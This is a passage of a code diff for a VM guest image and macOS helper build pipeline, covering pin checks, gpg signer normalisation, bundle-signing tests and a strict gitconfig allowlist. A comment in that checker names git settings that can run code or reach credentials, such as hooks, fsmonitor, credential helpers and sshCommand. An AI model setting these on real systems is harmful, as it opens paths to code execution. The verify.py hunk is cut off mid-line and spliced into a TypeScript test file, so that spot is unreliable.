self.assertIn(needle,text) + tree=Tree();tree.add(cpio_verify.ENVIRONMENT_GITCONFIG_PATH.lstrip('/'),'file',self.TEXT,False,'pinned');tree.add(cpio_verify.GIT_TEMPLATE_DIRECTORY.lstrip('/'),'directory') + self.assertEqual(cpio_verify.check_environment_gitconfig(image.tree_files(tree),sha(self.TEXT)),sha(self.TEXT)) # the encoder's modes (0444 file, 0555 directory) are accepted + class RuntimeArtifactPinTests(unittest.TestCase): """pins.json, the file the image writes for PID 1, and the supervisor's own reading of it must say the same thing.""" SDK=os.environ.get('WINTER_SDK_CHECKOUT') @@ -566,7 +767,7 @@ def test_the_native_sources_are_the_pinned_sdk_files_when_a_checkout_is_given(se def test_the_pinned_supervisor_reads_exactly_this_shape_when_a_checkout_is_given(self): if not self.SDK:self.skipTest('set WINTER_SDK_CHECKOUT to an SDK clone to re-derive') text=subprocess.check_output(['git','-C',self.SDK,'show',PINS['sdkCommit']+':packages/runtime/src/guest/linux-supervisor.py'],text=True) - self.assertIn("set(config[runtime_key])!={'artifacts'} or set(config[runtime_key]['artifacts'])!={'launcher','executable','ownerLibrary'}",text) + self.assertIn("set(config[runtime_key])!=({'artifacts','reader'} if self.runtime_profile==GUIDED_PROFILE else {'artifacts'}) or set(config[runtime_key]['artifacts'])!={'launcher','executable','ownerLibrary'}",text) self.assertIn("if set(value)!={'path','sha256'} or not re.fullmatch('[a-f0-9]{64}',value['sha256']):raise Refusal('artifact_pin')",text) self.assertIn("st.st_uid!=0 or st.st_nlink!=1 or st.st_mode&0o222 or st.st_size>128*1024*1024",text) self.assertIn("RUNTIME_KEYS=(('fresh','freshRuntime'),('host-query-v1','hostQueryRuntime'),(GUIDED_PROFILE,'hostQueryGuidedRuntime'))",text) diff --git a/scripts/cowork-guest-artifact/test_image_build_tools.py b/scripts/cowork-guest-artifact/test_image_build_tools.py index 2ed98c1b3..dd889aa7e 100644 --- a/scripts/cowork-guest-artifact/test_image_build_tools.py +++ b/scripts/cowork-guest-artifact/test_image_build_tools.py @@ -1,6 +1,7 @@ """The two small tools the one-run image build uses: the Bun unpacker and the two-build report. Synthetic inputs only; nothing is built.""" import contextlib, hashlib, io, json, shutil, tempfile, unittest, zipfile from pathlib import Path +from unittest.mock import patch import image import image_build_report as ibr @@ -85,11 +86,11 @@ def write_kernel(folder, image=b"image", vmlinux=b"vmlinux", config=b"config"): (folder / "kernel-receipt.json").write_text(json.dumps({"ImageSha256": sha(image), "ImageBytes": len(image), "vmlinuxSha256": sha(vmlinux), "resolvedConfigSha256": sha(config)})) -def write_image(folder, cpio=b"cpio", manifest=b"manifest", runtime=None, init="i" * 64): +def write_image(folder, cpio=b"cpio", manifest=b"manifest", runtime=None, init="i" * 64, relay="r" * 64): folder.mkdir() (folder / "immutable-root.cpio").write_bytes(cpio) (folder / "root.manifest.json").write_bytes(manifest) - (folder / "receipt.json").write_text(json.dumps({"runtimeSha256": runtime or PINS["expectedArtifact"]["runtimeSha256"], "initSha256": init, "reproducibilityPinned": True})) + (folder / "receipt.json").write_text(json.dumps({"runtimeSha256": runtime or PINS["expectedArtifact"]["runtimeSha256"], "initSha256": init, "relaySha256": relay, "reproducibilityPinned": True})) class ReportTests(unittest.TestCase): @@ -129,7 +130,7 @@ def test_every_kernel_difference_is_a_problem(self): self.assertIn("the two kernel builds differ", ibr.problems(self.build(kernel2=kw)), kw) def test_every_image_difference_is_a_problem(self): - for kw in ({"cpio": b"other"}, {"manifest": b"other"}, {"runtime": "f" * 64}, {"init": "j" * 64}): + for kw in ({"cpio": b"other"}, {"manifest": b"other"}, {"runtime": "f" * 64}, {"init": "j" * 64}, {"relay": "k" * 64}): self.assertIn("the two image builds differ", ibr.problems(self.build(image2=kw)), kw) def test_a_nonzero_image_status_is_a_problem_even_when_the_files_agree(self): @@ -139,13 +140,54 @@ def test_a_nonzero_image_status_is_a_problem_even_when_the_files_agree(self): def test_all_pins_holding_and_all_builds_agreeing_is_clean(self): digests = self.build() digests["image"]["pinsHold"] = {key: True for key in digests["image"]["pinsHold"]} + digests["image"]["initPinned"] = digests["image"]["relayPinned"] = True + digests["kernel"]["pinnedBefore"] = digests["kernel"]["ImageSha256"] # the pinned kernel is the built one self.assertEqual(ibr.problems(digests), []) + digests["kernel"]["pinnedBefore"] = None + self.assertIn("the kernel Image is not pinned yet (kernel/pins.json expectedOutputs.Image)", ibr.problems(digests)) + digests["kernel"]["pinnedBefore"] = "0" * 64 + self.assertIn("the built kernel is not the pinned kernel (kernel/pins.json expectedOutputs.Image)", ibr.problems(digests)) + + def test_both_guest_binary_digests_are_in_digests_json_with_whether_each_is_pinned(self): + digests = self.build() + self.assertEqual((digests["image"]["initSha256"], digests["image"]["relaySha256"]), ("i" * 64, "r" * 64)) + self.assertEqual((digests["image"]["initPinned"], digests["image"]["relayPinned"]), (False, False)) # pins.json holds null for both (or another digest): not pinned to this build + found = ibr.problems(digests) + self.assertTrue(any("guest.programs.init.binarySha256 is null or does not hold" in line and "image.initSha256" in line for line in found)) + self.assertTrue(any("guest.programs.winter-guest-relay.binarySha256 is null or does not hold" in line and "image.relaySha256" in line for line in found)) + pins = json.loads(json.dumps(ibr.PINS)) + pins["guest"]["programs"]["init"]["binarySha256"] = "i" * 64 + pins["guest"]["programs"]["winter-guest-relay"]["binarySha256"] = "q" * 64 # set, but not what this build produced + with patch.object(ibr, "PINS", pins): + digests = self.build() + self.assertEqual((digests["image"]["initPinned"], digests["image"]["relayPinned"]), (True, False)) + found = ibr.problems(digests) + self.assertFalse(any("guest.programs.init." in line for line in found)) + self.assertTrue(any("guest.programs.winter-guest-relay." in line for line in found)) + pins["guest"]["programs"]["init"]["binarySha256"] = "p" * 64 # and the other way round: init stale, relay right + pins["guest"]["programs"]["winter-guest-relay"]["binarySha256"] = "r" * 64 + with patch.object(ibr, "PINS", pins): + digests = self.build() + self.assertEqual((digests["image"]["initPinned"], digests["image"]["relayPinned"]), (False, True)) + self.assertTrue(any("guest.programs.init." in line for line in ibr.problems(digests))) + pins["guest"]["programs"]["init"]["binarySha256"] = "i" * 64 + with patch.object(ibr, "PINS", pins): + digests = self.build() + self.assertEqual((digests["image"]["initPinned"], digests["image"]["relayPinned"]), (True, True)) + self.assertFalse(any("guest.programs" in line for line in ibr.problems(digests))) + + def test_a_package_lock_that_is_not_the_pinned_one_is_reported_with_its_digest_and_turns_the_run_red(self): + digests = self.build() + self.assertIn("packageLockSha256", digests["image"]) + self.assertIs(digests["image"]["pinsHold"]["packageLockSha256"], False) # the fixture receipt carries no lock digest + self.assertIn("pins.json packageLockSha256 does not hold", ibr.problems(digests)) def test_collect_copies_exactly_the_published_files_under_the_installed_names_and_refuses_an_existing_folder(self): self.build() (self.dir / "i1" / "elf-dependencies.json").write_text("{}") (self.dir / "i1" / "size-breakdown.json").write_text("{}") (self.dir / "i1" / "cpio-verification.json").write_text("{}") + (self.dir / "i1" / "packages.lock.json").write_text("{}") (self.dir / "k1" / "Image").write_bytes(b"image") (self.dir / "k1" / "resolved.config").write_bytes(b"config") ibr.collect(self.dir / "k1", self.dir / "i1", self.dir / "publish") diff --git a/scripts/cowork-guest-artifact/test_release_signers.py b/scripts/cowork-guest-artifact/test_release_signers.py new file mode 100644 index 000000000..20a8fbd73 --- /dev/null +++ b/scripts/cowork-guest-artifact/test_release_signers.py @@ -0,0 +1,62 @@ +"""The package lock must not depend on the gpg that verified the Debian release files: `releases[].signers` is the sorted set of PINNED fingerprints, never raw VALIDSIG status lines.""" +import json +import unittest +from pathlib import Path + +import packages + +HERE = Path(__file__).resolve().parent +PINS = json.loads((HERE / "pins.json").read_text()) +ALLOWED = {key["fingerprint"] for key in PINS["keys"]} +RELEASE_KEY = "4D64FEC119C2029067D6E791F8D2585B8783D481" +ARCHIVE_KEY = "B8B80B5B623EAB6AD8775C45B7C5D7D6350947F8" +ARCHIVE_SUBKEY = "4CB50190207B4758A3F73A796ED0E7B82643E131" +STRANGER = "F" * 40 + + +def valid(signing, primary, date="2026-07-11", ts="1783765031", version="4", klass="01", extra=""): + return f"[GNUPG:] VALIDSIG {signing} {date} {ts} 0 {version} 0 1 8 {klass} {primary}{extra}" + + +class ReleaseSignerTests(unittest.TestCase): + EXPECTED = sorted([RELEASE_KEY, ARCHIVE_KEY]) + + def signers(self, *lines): + return packages.release_signers("\n".join(lines), ALLOWED) + + def test_the_same_signers_give_the_same_record_whatever_the_gpg_wrote(self): + base = self.signers(valid(ARCHIVE_SUBKEY, ARCHIVE_KEY), valid(RELEASE_KEY, RELEASE_KEY)) + self.assertEqual(base, self.EXPECTED) + variants = { + "other dates and timestamps": (valid(ARCHIVE_SUBKEY, ARCHIVE_KEY, "2027-01-01", "1800000000"), valid(RELEASE_KEY, RELEASE_KEY, "2027-01-02", "1800000999")), + "other order": (valid(RELEASE_KEY, RELEASE_KEY), valid(ARCHIVE_SUBKEY, ARCHIVE_KEY)), + "another gpg version and signature class": (valid(ARCHIVE_SUBKEY, ARCHIVE_KEY, version="5", klass="00"), valid(RELEASE_KEY, RELEASE_KEY, version="5", klass="00")), + "the same signer twice": (valid(ARCHIVE_SUBKEY, ARCHIVE_KEY), valid(RELEASE_KEY, RELEASE_KEY), valid(RELEASE_KEY, RELEASE_KEY, ts="1")), + "other status noise around": ("[GNUPG:] NEWSIG", valid(ARCHIVE_SUBKEY, ARCHIVE_KEY), "[GNUPG:] SIG_ID abc 2026-07-11 1", valid(RELEASE_KEY, RELEASE_KEY), "[GNUPG:] TRUST_UNDEFINED 0 pgp"), + "an extra signature by an unimported key": (valid(ARCHIVE_SUBKEY, ARCHIVE_KEY), valid(RELEASE_KEY, RELEASE_KEY), valid(STRANGER, STRANGER)), + "no primary field (a short VALIDSIG)": ("[GNUPG:] VALIDSIG " + ARCHIVE_KEY + " 2026-07-11 1 0 4 0 1 8 01", "[GNUPG:] VALIDSIG " + RELEASE_KEY + " 2026-07-11 1 0 4 0 1 8 01"), + } + for label, lines in variants.items(): + with self.subTest(label): + self.assertEqual(self.signers(*lines), base) + + def test_the_lock_text_carries_no_raw_status_line(self): + record = json.dumps({"signers": self.signers(valid(ARCHIVE_SUBKEY, ARCHIVE_KEY), valid(RELEASE_KEY, RELEASE_KEY))}) + self.assertNotIn("GNUPG", record) + self.assertNotIn("2026", record) + + def test_no_pinned_signer_or_a_bad_signature_refuses(self): + for label, lines in (("no signature", ()), ("only a stranger", (valid(STRANGER, STRANGER),)), + ("a bad signature next to a good one", (valid(RELEASE_KEY, RELEASE_KEY), "[GNUPG:] BADSIG 1D6B269171C01A96 Someone"))): + with self.subTest(label), self.assertRaises(ValueError): + self.signers(*lines) + + def test_the_pinned_lock_is_the_digest_of_a_lock_with_normalised_signers(self): + self.assertRegex(PINS["packageLockSha256"], r"^[0-9a-f]{64}$") + source = (HERE / "packages.py").read_text() + self.assertIn("signers=release_signers(", source) + self.assertNotIn("return clear, valid", source) + + +if __name__ == "__main__": + unittest.main() diff --git a/scripts/cowork-guest-artifact/verify.py b/scripts/cowork-guest-artifact/verify.py index d094a0c09..315c68334 100644 --- a/scripts/cowork-guest-artifact/verify.py +++ b/scripts/cowork-guest-artifact/verify.py @@ -1,5 +1,5 @@ """Read back actual newc metadata and contents independently of the encoder.""" -import argparse, hashlib, json, stat +import argparse, hashlib, json, re, stat from pathlib import Path, PurePosixPath HERE=Path(__file__).resolve().parent @@ -45,15 +45,72 @@ def check_runtime_artifacts(files,config_bytes): if len(set(RUNTIME_ARTIFACT_PATHS.values()))!=3:raise ValueError('runtime artifact paths must be distinct') return pins -def verify(root,pinned_init=None,require_init=True,allow_unpinned=False): +# ---- the environment's fixed system gitconfig (agent-sdk SH6b mounts base/etc/gitconfig read-only into the process worker) --------------------- +ENVIRONMENT_GITCONFIG_PATH='/opt/winter/environment/base/etc/gitconfig' +SYSTEM_GITCONFIG_PATH='/etc/gitconfig' # where the tool launcher mounts the file above, at run time. The image's top-level etc is a SYMLINK to opt/winter/environment/base/etc, so a literal etc/gitconfig cpio entry would be written through that symlink: it is refused (the pinned file is only ever the one under the base) +RELAY_PATH='/opt/winter/libexec/winter-guest-relay' +GIT_TEMPLATE_DIRECTORY='/opt/winter/environment/base/usr/share/winter/git-empty-template' # init.templateDir below: an empty, root-owned directory, so git never makes .git/hooks +MAX_GITCONFIG_BYTES=64*1024 # the tool launcher's own bound +# The ONLY settings the file may carry, with their only values. Anything else (an include, includeIf, alias, hook path, fsmonitor command, credential helper, url rewrite, +# core.sshCommand, core.pager, ...) is refused: the file is read by every git the tool side runs, so an extra line is an extra way to run something. +GITCONFIG_SETTINGS={('init','templatedir'):'/usr/share/winter/git-empty-template',('core','hookspath'):'/dev/null',('core','fsmonitor'):'false',('credential','helper'):'',('protocol.ext','allow'):'never'} + +def check_gitconfig_text(data): + """The gitconfig text as git will read it: ASCII, bounded, only the settings above with exactly their values, each once. Returns the settings.""" + if len(data)>MAX_GITCONFIG_BYTES:raise ValueError('gitconfig size out of bounds') + try:text=data.decode('ascii') + except UnicodeDecodeError as error:raise ValueError('gitconfig is not ASCII') from error + if not text.endswith('\n') or '\r' in text or '\0' in text or '\\' in text:raise ValueError('gitconfig is not plain LF text without continuations') + section=None;found={} + for line in text.split('\n')[:-1]: + line=line.strip() + if not line or line.startswith('#'):continue + if line.startswith('['): + match=re.fullmatch(r'\[([A-Za-z0-9-]+)(?: "([A-Za-z0-9._-]+)")?\]',line) + if match is None:raise ValueError('gitconfig section is not plain: '+line) + section=match.group(1).lower()+('.'+match.group(2) if match.group(2) else '');continue + match=re.fullmatch(r'([A-Za-z][A-Za-z0-9-]*)[ \t]*=[ \t]*([^#;"]*?)[ \t]*',line) + if match is None:raise ValueError('gitconfig line is not a plain setting: '+line) + key=(section,match.group(1).lower()) + if key in found:raise ValueError('gitconfig setting is repeated: '+line) + found[key]=match.group(2) + # (an unknown key or a changed value is a difference from the allowed settings) + if found!=GITCONFIG_SETTINGS:raise ValueError('gitconfig does not carry exactly the allowed settings and values') + return found + +def check_environment_gitconfig(files,expected_sha256): + """The file as the tool launcher will meet it (regular, single link, root-owned, not group or other writable, at most 64 KiB) with the pinned bytes, and the empty + template directory it names (root-owned, not writable, with nothing in it). `files` is the same map check_runtime_artifacts reads.""" + found=files.get(ENVIRONMENT_GITCONFIG_PATH) + if found is None or found['kind']!='file':raise ValueError('environment gitconfig missing or not a regular file') + if found['uid'] or found['gid'] or found['nlink']!=1 or found['mode']&0o022:raise ValueError('environment gitconfig is not a root-owned single-link file nobody else can write') + if not 0 { for (const d of temps.splice(0)) rmSync(d, { recursive: true, force: true }); }); +const scratch = (): string => { const d = mkdtempSync(join(tmpdir(), "cowork-bundle-")); temps.push(d); return d; }; +const standIns = (): { launcher: string; worker: string } => { + const d = scratch(); + const launcher = join(d, COWORK_NATIVE.launcher.name), worker = join(d, COWORK_NATIVE.worker.name); + copyFileSync("/usr/bin/true", launcher); copyFileSync("/usr/bin/true", worker); + return { launcher, worker }; +}; + +const pins = () => readCoworkRepoPins(REPO); +const CD_L = "a".repeat(40), CD_W = "b".repeat(40); +function goodFacts(): CoworkNativeBundleFacts { + const manifest = { formatVersion: 1, launcher: { identifier: COWORK_NATIVE.launcher.identifier, cdhash: CD_L }, worker: { identifier: COWORK_NATIVE.worker.identifier, cdhash: CD_W }, pins: pins() }; + return { entries: [COWORK_NATIVE.launcher.name, COWORK_NATIVE.worker.name], manifestText: JSON.stringify(manifest), liveCdhash: { launcher: CD_L, worker: CD_W }, repoPins: pins() }; +} +const withManifest = (change: (m: any) => void): CoworkNativeBundleFacts => { const f = goodFacts(), m = JSON.parse(f.manifestText!); change(m); return { ...f, manifestText: JSON.stringify(m) }; }; + +describe("checkCoworkNativeBundle", () => { + test("accepts exactly the pair, a matching manifest, matching CDHashes and the repository's pins", () => { + expect(checkCoworkNativeBundle(goodFacts())).toEqual([]); + }); + test("refuses each way the bundle can disagree with itself or with the checkout", () => { + const cases: [string, CoworkNativeBundleFacts, RegExp][] = [ + ["extra entry", { ...goodFacts(), entries: [...goodFacts().entries, "extra"] }, /holds \[extra/], + ["missing worker", { ...goodFacts(), entries: [COWORK_NATIVE.launcher.name] }, /holds \[winter-cowork-launcher\]/], + ["no manifest", { ...goodFacts(), manifestText: null }, /manifest cowork-native-pins.json is missing/], + ["garbage manifest", { ...goodFacts(), manifestText: "nope" }, /not JSON/], + ["extra manifest key", withManifest((m) => { m.extra = 1; }), /exactly the expected shape/], + ["short cdhash", withManifest((m) => { m.worker.cdhash = "ab"; }), /exactly the expected shape/], + ["wrong identifier", withManifest((m) => { m.launcher.identifier = "com.example.x"; }), /names identifier com.example.x/], + ["launcher cdhash differs", { ...goodFacts(), liveCdhash: { launcher: "c".repeat(40), worker: CD_W } }, /launcher.*CDHash/], + ["worker cdhash unreadable", { ...goodFacts(), liveCdhash: { launcher: CD_L, worker: undefined } }, /no CDHash could be read/], + ["libkrun archive pin differs", withManifest((m) => { m.pins.libkrunArchiveSha256 = "0".repeat(64); }), /pin libkrunArchiveSha256/], + ["libkrun header pin differs", withManifest((m) => { m.pins.libkrunHeaderSha256 = "0".repeat(64); }), /pin libkrunHeaderSha256/], + ["worker pins file differs", withManifest((m) => { m.pins.workerPinsSha256 = "0".repeat(64); }), /pin workerPinsSha256/], + ["guest image pins differ", withManifest((m) => { m.pins.guestArtifactPinsSha256 = "0".repeat(64); }), /pin guestArtifactPinsSha256/], + ]; + for (const [name, facts, expected] of cases) { + const failures = checkCoworkNativeBundle(facts); + expect(`${name}: ${failures.join(" | ")}`).toMatch(new RegExp(`^${name}: .*${expected.source}`)); + } + }); + test("the repository pins are read from the real pin files", () => { + const real = pins(); + expect(real.libkrunArchiveSha256).toMatch(/^[0-9a-f]{64}$/); + expect(real.workerPinsSha256).toBe(sha256Hex(readFileSync(join(REPO, "apple/Cowork/WinterCoworkHVFWorker/pins.json")))); + expect(real.guestArtifactPinsSha256).toBe(sha256Hex(readFileSync(join(REPO, "scripts/cowork-guest-artifact/pins.json")))); + }); + test("parseCdHash needs the CDHash= line of -dvvv; -dvv has none", () => { + expect(parseCdHash(`Identifier=x\nCDHash=${CD_L}\n`)).toBe(CD_L); + expect(parseCdHash("Identifier=x\nCodeDirectory v=20500\n")).toBeUndefined(); + const problems: string[] = []; + expect(parseCoworkNativeManifest("[]", problems)).toBeNull(); + expect(problems.length).toBe(1); + }); +}); + +describe("flavors", () => { + test("the dev launcher is signed as its dev identifier, the worker is the same in both flavors", () => { + expect(coworkNativeIdentifier("launcher", "dev")).toBe("com.winter.cowork.launcher.dev"); + expect(coworkNativeIdentifier("launcher")).toBe("com.winter.cowork.launcher"); + expect(coworkNativeIdentifier("worker", "dev")).toBe("com.winter.cowork.worker"); + expect(coworkSignArgs({ identity: "-", role: "launcher", flavor: "dev", path: "/x", timestamp: false })).toContain("com.winter.cowork.launcher.dev"); + }); +}); + +describe("the embed phase writes the manifest the gate reads", () => { + test("a Release embed over stand-ins yields a bundle the gate accepts, with the manifest at the stated place", () => { + const result = verifyCoworkNative(standIns()); + expect(result.failures).toEqual([]); + expect(result.lines.filter((l) => l.startsWith("refused:")).length).toBe(10); // seven bundle mutants, three omit/input refusals + expect(result.lines.some((l) => l.startsWith("omit: the stale pair"))).toBe(true); + expect(result.lines.some((l) => l.startsWith("no inputs: the build succeeded"))).toBe(true); + expect(COWORK_NATIVE_MANIFEST_RELATIVE).toBe("Contents/Resources/cowork-native-pins.json"); + }); +}); + +describe("dev:cowork-native stages and signs into a directory it is given", () => { + test("ad hoc into a scratch directory: both members, dev launcher identity, nothing else; a failing sign leaves the target untouched", () => { + const inputs = standIns(), target = join(scratch(), "Helpers", "WinterCowork"); + expect(stageDevPair({ ...inputs, target, identity: "-", teamId: undefined })).toEqual([]); + expect(readdirSync(target).sort()).toEqual([COWORK_NATIVE.launcher.name, COWORK_NATIVE.worker.name]); + const id = spawnSync("codesign", ["-dvv", join(target, COWORK_NATIVE.launcher.name)], { encoding: "utf8" }).stderr; + expect(id).toContain("Identifier=com.winter.cowork.launcher.dev"); + const before = readFileSync(join(target, COWORK_NATIVE.worker.name)); + const failures = stageDevPair({ ...inputs, target, identity: "no-such-identity", teamId: undefined }); + expect(failures.length).toBeGreaterThan(0); + expect(readFileSync(join(target, COWORK_NATIVE.worker.name)).equals(before)).toBe(true); + expect(readdirSync(join(target, "..")).filter((n) => n.startsWith(".WinterCowork-"))).toEqual([]); + }); + test("the ad-hoc default refuses to write the dev daemon's own directory (the script's rule, pinned in its source)", () => { + expect(readFileSync(join(REPO, "scripts", "dev-cowork-native.ts"), "utf8")).toContain("--identity - (ad hoc) needs --out "); + }); +}); + +describe("the build script", () => { + test("the worker is built by build.py with an out directory and both libkrun inputs; nothing is downloaded", () => { + const args = workerBuildArgs({ out: "/o", include: "/i", archive: "/a" }); + expect(args.slice(0, 1)).toEqual(["-I"]); + expect(args).toContain("worker"); + expect(args.slice(-6)).toEqual(["--out", "/o", "--libkrun-include", "/i", "--libkrun-archive", "/a"]); + }); + test("package.json names the dev and verify entry points", () => { + const scripts = JSON.parse(readFileSync(join(REPO, "package.json"), "utf8")).scripts; + expect(scripts["dev:cowork-native"]).toBe("bun run scripts/dev-cowork-native.ts"); + expect(scripts["verify:cowork-native"]).toBe("bun run scripts/verify-cowork-native.ts"); + }); +}); + +describe("the release choice: inputs or an explicit omit", () => { + const INC = "/libkrun/include", ARC = "/libkrun/libkrun.a"; + test("every branch of coworkNativeReleasePlan", () => { + const plan = coworkNativeReleasePlan; + expect(plan({ COWORK_LIBKRUN_INCLUDE: INC, COWORK_LIBKRUN_ARCHIVE: ARC })).toEqual({ mode: "build", include: INC, archive: ARC }); + expect(plan({ COWORK_NATIVE: "omit" })).toEqual({ mode: "omit" }); + expect(plan({ COWORK_NATIVE: " omit " })).toEqual({ mode: "omit" }); + const refusals: [string, Record, RegExp][] = [ + ["neither", {}, /neither its inputs nor an explicit omit.*COWORK_NATIVE=omit/], + ["empty strings", { COWORK_LIBKRUN_INCLUDE: "", COWORK_LIBKRUN_ARCHIVE: " ", COWORK_NATIVE: "" }, /neither its inputs nor an explicit omit/], + ["include alone", { COWORK_LIBKRUN_INCLUDE: INC }, /only one of/], + ["archive alone", { COWORK_LIBKRUN_ARCHIVE: ARC }, /only one of/], + ["omit and inputs", { COWORK_NATIVE: "omit", COWORK_LIBKRUN_INCLUDE: INC, COWORK_LIBKRUN_ARCHIVE: ARC }, /contradicts/], + ["omit and one input", { COWORK_NATIVE: "omit", COWORK_LIBKRUN_ARCHIVE: ARC }, /contradicts/], + ["a typo", { COWORK_NATIVE: "skip" }, /not a choice/], + ["a typo beside the inputs", { COWORK_NATIVE: "build", COWORK_LIBKRUN_INCLUDE: INC, COWORK_LIBKRUN_ARCHIVE: ARC }, /not a choice/], + ]; + for (const [name, env, expected] of refusals) { + const result = plan(env); + expect(`${name}: ${result.mode}: ${result.mode === "refuse" ? result.message : ""}`).toMatch(new RegExp(`^${name}: refuse: .*${expected.source}`)); + } + }); + test("the omit gate: no helpers directory and no pins file, nothing else is accepted", () => { + expect(checkCoworkNativeOmitted({ helpersDirectoryExists: false, manifestText: null })).toEqual([]); + expect(checkCoworkNativeOmitted({ helpersDirectoryExists: true, manifestText: null }).join()).toContain("Helpers/WinterCowork exists"); + expect(checkCoworkNativeOmitted({ helpersDirectoryExists: false, manifestText: "{}" }).join()).toContain("cowork-native-pins.json exists"); + expect(checkCoworkNativeOmitted({ helpersDirectoryExists: true, manifestText: "{}" }).length).toBe(2); + }); + describe("the embed phase under each choice (ad hoc, scratch)", () => { + const run = (env: Record, built: string, inputs = standIns()) => spawnSync("bash", [join(REPO, "scripts", "embed-cowork-native.sh")], { + encoding: "utf8", timeout: 120_000, + env: { ...process.env, CONFIGURATION: "Release", BUILT_PRODUCTS_DIR: built, CONTENTS_FOLDER_PATH: "Winter.app/Contents", EXPANDED_CODE_SIGN_IDENTITY: "-", DEVELOPMENT_TEAM: "37N77U9RSZ", + COWORK_LAUNCHER_BINARY: inputs.launcher, COWORK_WORKER_BINARY: inputs.worker, ...env }, + }); + const contents = (built: string) => join(built, "Winter.app", "Contents"); + test("omit removes a stale pair and pins file and succeeds; with nothing stale it is a no-op", () => { + const built = scratch(); + expect(run({}, built).status).toBe(0); + expect(existsSync(join(contents(built), "Helpers", "WinterCowork"))).toBe(true); + const omitted = run({ COWORK_NATIVE: "omit" }, built); + expect(omitted.status).toBe(0); + expect(omitted.stdout).toContain("COWORK_NATIVE=omit"); + expect(existsSync(join(contents(built), "Helpers", "WinterCowork"))).toBe(false); + expect(existsSync(join(contents(built), "Resources", "cowork-native-pins.json"))).toBe(false); + expect(run({ COWORK_NATIVE: "omit" }, scratch()).status).toBe(0); + }); + test("omit wins even when valid inputs are present (the plan refuses the combination before the build; here nothing is embedded)", () => { + const built = scratch(); + expect(run({ COWORK_NATIVE: "omit" }, built).status).toBe(0); + expect(existsSync(join(contents(built), "Helpers"))).toBe(false); + }); + test("an unknown COWORK_NATIVE value fails and embeds nothing", () => { + const built = scratch(); + const result = run({ COWORK_NATIVE: "skip" }, built); + expect(result.status).not.toBe(0); + expect(result.stderr).toContain("is not a choice"); + expect(existsSync(contents(built))).toBe(false); + }); + test("no input at all (a developer's Release build, CI): succeeds, embeds nothing, removes a stale pair", () => { + const built = scratch(); + expect(run({}, built).status).toBe(0); + const none = run({ COWORK_LAUNCHER_BINARY: join(built, "absent-l"), COWORK_WORKER_BINARY: join(built, "absent-w") }, built); + expect(none.status).toBe(0); + expect(none.stdout).toContain("no inputs"); + expect(existsSync(join(contents(built), "Helpers", "WinterCowork"))).toBe(false); + expect(existsSync(join(contents(built), "Resources", "cowork-native-pins.json"))).toBe(false); + }); + test("exactly one input is an error, whichever it is", () => { + for (const missing of ["COWORK_LAUNCHER_BINARY", "COWORK_WORKER_BINARY"]) { + const built = scratch(); + const result = run({ [missing]: join(built, "absent") }, built); + expect(`${missing}: ${result.status !== 0}`).toBe(`${missing}: true`); + expect(result.stderr).toContain("is not at"); + } + }); + test("a Debug build embeds nothing whatever the inputs", () => { + const built = scratch(); + const result = run({ CONFIGURATION: "Debug" }, built); + expect(result.status).toBe(0); + expect(existsSync(contents(built))).toBe(false); + }); + }); + test("an omitted bundle gives the daemon nothing to spawn: the default launcher port refuses launcher_missing before spawning anything (core test)", () => { + expect(readFileSync(join(REPO, "packages", "core", "test", "cowork", "host-env-assembly.test.ts"), "utf8")).toContain("an omitted bundle"); + }); +}); diff --git a/scripts/cowork-native-lib.ts b/scripts/cowork-native-lib.ts index a9bf04863..3083bc43d 100644 --- a/scripts/cowork-native-lib.ts +++ b/scripts/cowork-native-lib.ts @@ -1,12 +1,14 @@ // N2 S2: the pure half of the Cowork native pair's build, signing and checks — the launcher (`winter-cowork-launcher`, Swift, // apple/Cowork/WinterCoworkLauncher) and the VM worker (`winter-cowork-worker`, C, S3). Shared by -// `scripts/embed-cowork-native.sh`'s test today and by the dev script and the `verify:` gate S7 adds. Unit-tested in -// `embed-cowork-native.test.ts`. SOURCE ONLY and UNWIRED: nothing in the daemon, project.yml or release.ts uses it yet. +// `scripts/embed-cowork-native.sh` (the Embed phase of project.yml), the release gate in `release.ts`, `dev:cowork-native` and `verify:cowork-native`. +// Unit-tested in `embed-cowork-native.test.ts`. The feature is OFF in the daemon: shipping the pair activates nothing. // // Both binaries are nested tools the daemon spawns itself (never through LaunchServices), signed with the app's identity, the // hardened runtime and a STATED designated requirement. The launcher carries NO entitlements. The worker carries exactly // `com.apple.security.hypervisor` and nothing else (no allow-jit, no disable-library-validation, no debugger entitlement, no // networking entitlement: there is no NIC). +import { createHash } from "node:crypto"; +import { readFileSync } from "node:fs"; import { join } from "node:path"; import { signedFacts } from "./dev-daemon-lib"; @@ -20,6 +22,10 @@ export const COWORK_NATIVE = { worker: { identifier: "com.winter.cowork.worker", name: "winter-cowork-worker" }, } as const; export type CoworkNativeRole = keyof typeof COWORK_NATIVE; +/** "dev" differs only in the launcher's identifier (`devIdentifier`): the worker is the same program under the same identity in both. */ +export type CoworkNativeFlavor = "dist" | "dev"; +export const coworkNativeIdentifier = (role: CoworkNativeRole, flavor: CoworkNativeFlavor = "dist"): string => + role === "launcher" && flavor === "dev" ? COWORK_NATIVE.launcher.devIdentifier : COWORK_NATIVE[role].identifier; /** Where the pair sits inside Winter.app. S7 wires the embed phase; the path is decided here so every check agrees. */ export const COWORK_NATIVE_EMBED_RELATIVE = join("Contents", "Helpers", "WinterCowork"); @@ -56,8 +62,8 @@ export function launcherBuildArgs(i: { packagePath: string; scratchPath: string; /** `codesign` for one of the pair, in the shape `embed-cowork-native.sh` uses for Release (hardened runtime, a secure timestamp, * the stable identifier, the stated requirement; entitlements only when a file is given — the worker's). */ -export function coworkSignArgs(i: { identity: string; role: CoworkNativeRole; teamId?: string; path: string; entitlementsFile?: string; timestamp?: boolean }): string[] { - const id = COWORK_NATIVE[i.role].identifier; +export function coworkSignArgs(i: { identity: string; role: CoworkNativeRole; flavor?: CoworkNativeFlavor; teamId?: string; path: string; entitlementsFile?: string; timestamp?: boolean }): string[] { + const id = coworkNativeIdentifier(i.role, i.flavor); return ["--force", "--sign", i.identity, "--identifier", id, "--options", "runtime", i.timestamp === false ? "--timestamp=none" : "--timestamp", ...(i.entitlementsFile !== undefined ? ["--entitlements", i.entitlementsFile] : []), `-r=designated => ${coworkRequirement(id, i.teamId)}`, i.path]; } @@ -96,8 +102,8 @@ export interface SignedNativeFacts { * the right entitlements (none for the launcher, exactly the hypervisor key for the worker), platform dylibs only, and no test hook * anywhere in the bytes. */ -export function checkSignedNative(role: CoworkNativeRole, teamId: string | undefined, facts: SignedNativeFacts): string[] { - const want = COWORK_NATIVE[role]; +export function checkSignedNative(role: CoworkNativeRole, teamId: string | 